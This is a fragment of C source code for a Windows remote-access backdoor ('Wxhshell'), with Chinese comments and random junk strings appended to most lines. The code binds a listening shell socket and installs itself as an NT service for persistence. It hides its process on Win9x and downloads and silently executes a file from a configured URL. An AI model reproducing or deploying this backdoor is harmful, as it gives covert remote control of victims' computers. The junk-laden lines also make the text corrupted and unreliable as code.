} PROCESS_BASIC_INFORMATION; ;d'O. i=
6A{s%v H
PROCNTQSIP NtQueryInformationProcess; R4K eUn"
_4x[}e7KF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nd*!`P
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3GuMiht5
Y/Gswcz
HANDLE hProcess; !x!L&p
PROCESS_BASIC_INFORMATION pbi; _dRn0<#1(k
Lqf#,J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 83O^e&Bt
if(NULL == hInst ) return 0; hPCSLJ
z|4@nqqX
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J{'zkR?Lr
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $=6kh+n@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EJSgTtp2
@,f,tk=\S
if (!NtQueryInformationProcess) return 0; E&Zx]?~
*U[Q =w
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bNPjefBF
if(!hProcess) return 0; VIlQzM;%^
)jQe K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4s+J-l
/hj9Q!
CloseHandle(hProcess); KE|u}M@v6
2>_LX!kyP]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n46PQm%p
if(hProcess==NULL) return 0; .4m3@!qo)E
)]e d;V
HMODULE hMod; QIxJFr;>
char procName[255]; ]t!}D6p
unsigned long cbNeeded; ~bm2_/RL
&4$43\(D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2K7:gd8Ru
aN);P>
CloseHandle(hProcess); 9.w3VF_C
i|! 9o:
if(strstr(procName,"services")) return 1; // 以服务启动 sMe~C>RD
onypwfIk)t
return 0; // 注册表启动 "8Wc\YDh
} RSVN(-wIi)
1)kl
// 主模块 $hY]EB
int StartWxhshell(LPSTR lpCmdLine) H_nOE(i<z
{ sp]y! zb"5
SOCKET wsl; %X-&yGY
BOOL val=TRUE; SoON@h/
int port=0; yl;$#aZB
struct sockaddr_in door; mjr{L{H=?+
."@a1_F|
if(wscfg.ws_autoins) Install(); Y_iF$m/R
e+[J[<8
port=atoi(lpCmdLine); A.cZa
[T?6~^m=
if(port<=0) port=wscfg.ws_port; :^.8 7>V7
j$ i8@]
WSADATA data; HFCFEamBMP
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =.2cZwxX$
!z6/.>QJ~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Jj _+YfIM
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p 7E{es|J
door.sin_family = AF_INET; n[p9$W`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Kj#KJxy
door.sin_port = htons(port); >IydXmTy
Spw=+z<<Ub
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P`Wf'C^h
closesocket(wsl); /r 2.j3:l
return 1; U~`^Y8UF
} /01(9(
C(Gb
if(listen(wsl,2) == INVALID_SOCKET) { T/.y(8!0I8
closesocket(wsl); ra#)*fG,~
return 1; RBojT
} vBQ?S2f
Wxhshell(wsl); yDBgSO{d
WSACleanup(); i{RS/,h4
ENF@6]
return 0; @T=HcUP)
rQ-z2Pw
} k |aOUW
~w}[
._'#M
// 以NT服务方式启动 .&!{8jBX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 38S&7>0@|q
{ Am^O{`r41
DWORD status = 0; ;;J98G|1
DWORD specificError = 0xfffffff; YY>Uf1}*9
#a>!U'1|
serviceStatus.dwServiceType = SERVICE_WIN32; G6ES]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; p:n^c5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &ZFAUE,[
serviceStatus.dwWin32ExitCode = 0; :s985sEv
serviceStatus.dwServiceSpecificExitCode = 0; [
:(M<u`y>
serviceStatus.dwCheckPoint = 0; F[giq1#
serviceStatus.dwWaitHint = 0; D`@U[ `Sw
g<5Pc,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ESs?v$
if (hServiceStatusHandle==0) return; ?'_7#0R_0
+s 0Bt '
status = GetLastError(); u5|e9(J
if (status!=NO_ERROR) ^i k|l=
{ ~(E8~)f)
serviceStatus.dwCurrentState = SERVICE_STOPPED; f9bz:_;W_
serviceStatus.dwCheckPoint = 0; k EDZqUD
serviceStatus.dwWaitHint = 0; L|'ME|
'
serviceStatus.dwWin32ExitCode = status; 9&FV=}MO
serviceStatus.dwServiceSpecificExitCode = specificError; ,TA[el%#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j`pR;XL1[
return; a;6\T*iJ!
} {Ag}P0%'
P`v~L;f
serviceStatus.dwCurrentState = SERVICE_RUNNING; -L<Pm(v&
serviceStatus.dwCheckPoint = 0; hWe}(Ks
serviceStatus.dwWaitHint = 0; L#N.pd
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 90v18k
} O
lIH0
cf3c+.o
// 处理NT服务事件,比如:启动、停止 ;|%JvptwW%
VOID WINAPI NTServiceHandler(DWORD fdwControl) (:muxby%
{ Qz$Dv@*y\
switch(fdwControl) FDC{8e
{ 0'oT {iN
case SERVICE_CONTROL_STOP: K:Go%3~,
serviceStatus.dwWin32ExitCode = 0; D6:J*F&?
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2^lT!X@
serviceStatus.dwCheckPoint = 0; ?pY!sG
serviceStatus.dwWaitHint = 0; ==r|]~x
{ U2?gODh'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VO6y9X"
} /pN2Jst
return; Wm&f+{LO+K
case SERVICE_CONTROL_PAUSE: + # >%bq x
serviceStatus.dwCurrentState = SERVICE_PAUSED; P!ICno6[e
break; . +?lID
case SERVICE_CONTROL_CONTINUE: ;MI<J>s
serviceStatus.dwCurrentState = SERVICE_RUNNING; PTZ1oD
break; o/
5Fg>d
case SERVICE_CONTROL_INTERROGATE: ZEJadR
break; RN|..zml
}; VMXXBa&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pa73`Ca]
} x)5v8kgf
H)+kN'J
// 标准应用程序主函数 m%\[1|N
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JH;DVPX9z
{ <\mc|p"
[SvwJIJJ
// 获取操作系统版本 ]}l!L;
OsIsNt=GetOsVer(); .e+UgCwi
GetModuleFileName(NULL,ExeFile,MAX_PATH); jU~%5R
KYW1<Wcp
// 从命令行安装 Q~{@3<yEI
if(strpbrk(lpCmdLine,"iI")) Install(); F'*&-l
c!T{|'?
// 下载执行文件 sn#h=,*4`
if(wscfg.ws_downexe) { Al]9/ML/m
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q7%#3ML
WinExec(wscfg.ws_filenam,SW_HIDE); 4BtdN-T}b
} ]~ M
-KT
L?(rv.lb
if(!OsIsNt) { Bb`^,?m
// 如果时win9x,隐藏进程并且设置为注册表启动 rI789q
HideProc(); A UV$ S2
StartWxhshell(lpCmdLine); ^w\uOd`
} A6L}5#7-
else NR@Tj]`k
if(StartFromService()) F#wa)XH
// 以服务方式启动 'b,D;'v
StartServiceCtrlDispatcher(DispatchTable); U:e9Vq'N m
else b2%[9)"I.
// 普通方式启动 h`j gF
StartWxhshell(lpCmdLine); /XB1U[b
0xcqX!(
return 0; b4ivWb |`
} X>>rvlD N
xwH`alu
RGLqn{<